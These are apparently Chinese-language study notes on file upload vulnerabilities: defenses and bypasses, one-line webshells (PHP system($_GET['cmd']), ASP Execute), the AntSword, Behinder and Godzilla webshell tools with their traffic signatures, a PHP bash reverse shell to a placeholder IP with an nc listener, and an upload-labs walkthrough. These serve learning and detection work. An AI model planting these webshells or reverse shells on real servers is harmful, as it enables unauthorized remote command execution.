文章目录
一、 文件上传防御手段及绕过手段总结
1.1 文件上传防御手段
-
文件类型验证:
只允许特定类型的文件上传(如图片、文档等)。
使用 MIME 类型和文件扩展名进行双重验证。 -
文件大小限制:
限制上传文件的大小,防止大文件上传导致的拒绝服务攻击。 -
文件名处理:
对上传的文件名进行规范化处理,避免使用特殊字符。
生成随机文件名,防止文件覆盖和路径遍历攻击。 -
存储位置:
将上传的文件存储在非 Web 可访问的目录中,避免直接访问。
使用云存储服务,增加安全性。 -
内容扫描:
对上传的文件进行病毒扫描,防止恶意软件传播。 -
权限控制:
限制文件上传的用户权限,确保只有授权用户可以上传文件。 -
上传后处理:
对上传的文件进行格式转换或重命名,降低直接执行的风险。 -
使用 Web 应用防火墙(WAF):
部署 WAF 以检测和阻止恶意上传请求。
1.2 绕过手段
-
文件扩展名伪装:
将恶意文件的扩展名更改为允许的类型(如将.php
改为.jpg
)。 -
MIME 类型伪装:
修改请求中的 MIME 类型,伪装成合法文件类型。 -
多重扩展名:
使用多重扩展名(如file.php.jpg
)来绕过文件类型检查。 -
路径遍历攻击:
利用路径遍历漏洞上传文件到不安全的目录。 -
利用漏洞:
针对应用程序的漏洞(如未过滤的输入)进行攻击,直接上传恶意文件。 -
使用代理工具:
使用工具(如 Burp Suite)修改请求,绕过客户端验证。 -
利用 CDN 或缓存:
上传文件到 CDN 或缓存服务器,绕过直接访问限制。 -
社会工程学:
通过欺骗手段获取上传权限,上传恶意文件。
二、文件上传常用一句话木马
一句话木马通常是指一种简短的恶意代码,攻击者通过文件上传漏洞将其上传到目标服务器,以便执行任意命令。以下是一些常见的一句话木马示例:
-
PHP 一句话木马:
<?php system($_GET['cmd']); ?>
-
Python 一句话木马:
import os; os.system('cmd')
-
ASP 一句话木马:
<% Execute(Request("cmd")) %>
-
Perl 一句话木马:
print qx(cmd);
三、三种webshell管理工具的使用方法
3.1 蚁剑(在upload完成)
创建一句话木马yj.php文件
将php文件放在根目录下
打开蚁剑进行连接
可见连接成功
保存数据
打开蚁剑,添加代理和添加数据,bp还是打开的
成功设置代理
可见:在burpsuite成功抓包
查看分析得使用普通的一句话都存在以下特征:
每个请求体都存在@ini_set(“display_errors”, “0”);@set_time_limit(0)开头。并且后面存在base64等字符
响应包的结果返回格式为:
随机数
响应内容
随机数
3.2 冰蝎(pikachu)
打开冰蝎,生成木马
生成文件后放入pikachu根目录下(上传至pikachu需要将其转换为图片)
在冰蝎中添加后保存
连接冰蝎成功!
成功在burpsuite抓到包如下:
可见冰蝎的固定请求头特征为:dFAXQV1LORcHRQtLRlwMAhwFTAg/M
,固定的响应头特征为:TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd
3.3 哥斯拉
“管理”->“生成”,按图所示生成一个木马。
我此处直接保存为了png文件,为了方便上传
“目标”->“添加”,填写里面的内容。和这个木马生成时候选的的选项保持一致,设置代理,测试连接成功
用bp拦截流量包
哥斯拉Cookie (强特征)
请求包的Cookie中有一个非常致命的特征—分号
四、文件上传无回显如何查找webshell地址
在文件上传无回显的情况下,查找 WebShell 地址可以采取以下更具体的步骤:
1. 分析上传请求
-
使用抓包工具:
使用 Burp Suite 或 Fiddler 等抓包工具,拦截上传请求。
观察请求的 URL、请求方法(通常是 POST)、请求体中的文件名和文件路径。 -
记录上传信息:
记录上传的文件名和任何可能的路径信息。例如,上传请求可能包含POST /upload.php
,并且文件名可能是shell.php
。
2. 尝试访问常见路径
-
构造 URL: 根据记录的文件名和常见上传目录,构造可能的 URL 进行访问。例如:
-
http://target.com/uploads/shell.php
http://target.com/files/shell.php
http://target.com/images/shell.php
3. 使用目录扫描工具
- Dirb/Gobuster:
使用 Dirb 或 Gobuster 进行目录扫描,尝试找到上传的文件。
示例命令:
或dirb http://target.com/uploads/ /path/to/wordlist.txt
gobuster dir -u http://target.com/uploads/ -w /path/to/wordlist.txt
4. 查看服务器日志
- 访问日志:
如果有权限,查看服务器的访问日志(如 Apache 或 Nginx),查找上传请求的记录。
日志文件通常位于/var/log/apache2/access.log
或/var/log/nginx/access.log
。
5. 尝试不同的文件扩展名
-
文件扩展名变换: 如果上传的文件没有回显,尝试使用不同的文件扩展名进行访问。例如:
-
http://target.com/uploads/shell.php5
http://target.com/uploads/shell.phtml
6. 利用反向 Shell
- 设置反向连接:
如果 WebShell 支持反向连接,可以在 WebShell 中设置反向连接到你的机器。
示例 PHP 代码:
运行此代码后,确保监听相应的端口(使用<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1'"); ?>
nc -lvnp YOUR_PORT
)。
7. 使用 Web 应用漏洞扫描工具
- Nikto:
使用 Nikto 进行扫描,查找未公开的文件或目录。
示例命令:nikto -h http://target.com
8. 监控网络流量
- 使用 Wireshark:
如果可以,使用 Wireshark 监控目标服务器的网络流量,查看是否有异常的请求或响应。
五、文件上传表单的无参/有参情况下构造表单 – 加分项
在进行文件上传时,构造文件上传表单可以分为无参和有参两种情况。以下是这两种情况下的具体构造方法。
5.1 无参文件上传表单
无参文件上传表单是指仅包含文件上传字段,没有其他输入字段。简单的 HTML 文件上传表单示例:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>无参文件上传</title>
</head>
<body>
<h1>文件上传</h1>
<form action="/upload" method="POST" enctype="multipart/form-data">
<input type="file" name="file" required>
<button type="submit">上传文件</button>
</form>
</body>
</html>
5.2 有参文件上传表单
有参文件上传表单是指除了文件上传字段外,还包含其他输入字段。包含文件上传和其他参数的 HTML 表单示例:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>有参文件上传</title>
</head>
<body>
<h1>文件上传</h1>
<form action="/upload" method="POST" enctype="multipart/form-data">
<label for="username">用户名:</label>
<input type="text" id="username" name="username" required><br><br>
<label for="file">选择文件:</label>
<input type="file" id="file" name="file" required><br><br>
<label for="description">文件描述:</label>
<textarea id="description" name="description"></textarea><br><br>
<button type="submit">上传文件</button>
</form>
</body>
</html>
enctype="multipart/form-data"
:这是文件上传表单必须包含的属性,确保文件能够正确上传。method="POST"
:通常使用 POST 方法进行文件上传。input type="file"
:用于选择文件的输入字段。- 其他输入字段:可以根据需要添加其他字段,如文本框、下拉框等。
六、upload-labs靶场通关第6-第10关
Pass-6(大小写绕过)
查看源码,大小写被过滤,没有过滤空格,就用大小写绕过
上传 wjy.php 一句话木马,抓包,使用大小写绕过
Pass-7(小数点)
查看源码,大小写被过滤,空格被过滤,没有过滤小数点,就用小数点过滤
上传 wjy.php 一句话木马,抓包,后缀加个小数点
Pass-8(::$DATA
绕过)
查看源码,小数点 大小写 空格 都被过滤,用 ::$DATA 过滤
上传 wjy.php 一句话木马,抓包,后缀加 ::$DATA
Pass-9(小数点和空格结合绕过)
查看源码,::$DATA 也被过滤,使用结合过滤
上传 wjy.php 一句话木马,抓包,后缀加 小数点 空格 小数点
Pass-10(双写绕过)
查看源码, str_ireplace()函数 将危险后缀都替换为空,然后尝试用双写绕过
上传 wjy.php 一句话木马,抓包,修改后缀